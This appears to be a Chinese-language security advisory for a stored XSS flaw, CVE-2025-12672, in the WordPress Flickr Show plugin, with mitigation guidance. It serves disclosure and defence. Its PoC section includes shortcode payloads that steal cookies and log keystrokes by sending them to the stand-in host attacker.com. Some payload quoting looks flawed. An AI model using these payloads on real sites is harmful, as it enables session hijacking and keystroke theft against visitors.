CVE-2025-12672 CVSS 6.4 中危

CVE-2025-12672 WordPress Flickr Show插件存储型XSS漏洞

披露日期: 2025-11-11

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12672

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress Flickr Show插件 (wp-flickrshow)

漏洞概述

CVE-2025-12672是WordPress Flickr Show插件中的一个存储型跨站脚本(XSS)漏洞。该插件是一款用于在WordPress网站上展示Flickr图片的流行插件。漏洞根源在于插件对用户输入的'div_height'参数缺乏充分的输入清理和输出转义处理。攻击者只需拥有Contributor级别或更高的权限，即可通过插入'flickrshow'短代码并构造恶意的'div_height'参数值，将恶意JavaScript脚本存储到数据库中。当其他用户访问包含该短代码的页面时，存储的恶意脚本将在其浏览器中执行，可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。由于漏洞属于存储型XSS，恶意脚本会持久存在于受影响页面中，对所有访问该页面的用户构成持续威胁。此漏洞影响该插件1.5及以下所有版本，建议用户尽快升级到最新修复版本。

技术细节

该漏洞存在于wp-flickrshow插件的flickrshow.php文件第230行附近。当插件处理'flickrshow'短代码时，会从用户输入中获取'div_height'参数值，但未对该参数进行适当的输入验证和HTML实体转义。攻击者可以利用 Contributor 及以上权限的用户身份，在文章或页面中插入类似 [flickrshow div_height='" onmouseover="alert(document.cookie)"'] 的短代码。插件直接将此值输出到HTML属性中，未进行任何过滤或转义处理，导致用户输入的JavaScript代码被浏览器解析执行。由于输出点位于HTML标签属性内，攻击者可利用属性逃逸或事件处理器注入等方式执行任意脚本代码。修复方案应在输出前对'div_height'参数进行sanitize_text_field()和esc_attr()处理。

攻击链分析

STEP 1

步骤1

攻击者获取WordPress Contributor级别账户权限

STEP 2

步骤2

攻击者在文章或页面编辑中插入包含恶意'div_height'参数的'flickrshow'短代码

STEP 3

步骤3

插件将恶意脚本未经转义直接存储到WordPress数据库中

STEP 4

步骤4

受害者访问包含该短代码的页面，浏览器解析HTML时执行存储的恶意脚本

STEP 5

步骤5

攻击者通过恶意脚本窃取受害者的Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress Flickr Show Plugin XSS PoC -->
<!-- Required: Contributor-level access or higher -->

<!-- Basic XSS PoC -->
[flickrshow div_height='" onmouseover="alert(document.cookie)" style="width:100%;height:200px"']

<!-- Cookie Stealing PoC -->
[flickrshow div_height='" onerror="fetch('https://attacker.com/steal?c='+document.cookie)"']

<!-- Keylogger PoC -->
[flickrshow div_height='" onfocus="document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})"']

<!-- Payload Explanation: -->
<!-- 1. The div_height parameter is directly output to HTML without sanitization -->
<!-- 2. Quote characters break out of the attribute value -->
<!-- 3. Event handlers like onmouseover/onerror/onfocus execute arbitrary JS -->
<!-- 4. Attacker can steal session cookies or perform actions on behalf of victim -->

影响范围

wp-flickrshow <= 1.5

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 临时禁用wp-flickrshow插件；2) 通过WordPress角色管理限制低权限用户(Contributor及以下)的文章发布权限；3) 使用第三方安全插件如Wordfence添加输入过滤规则；4) 实施内容安全策略(CSP)头部减少XSS影响；5) 监控管理员日志关注异常短代码使用行为。建议尽快升级到插件最新版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表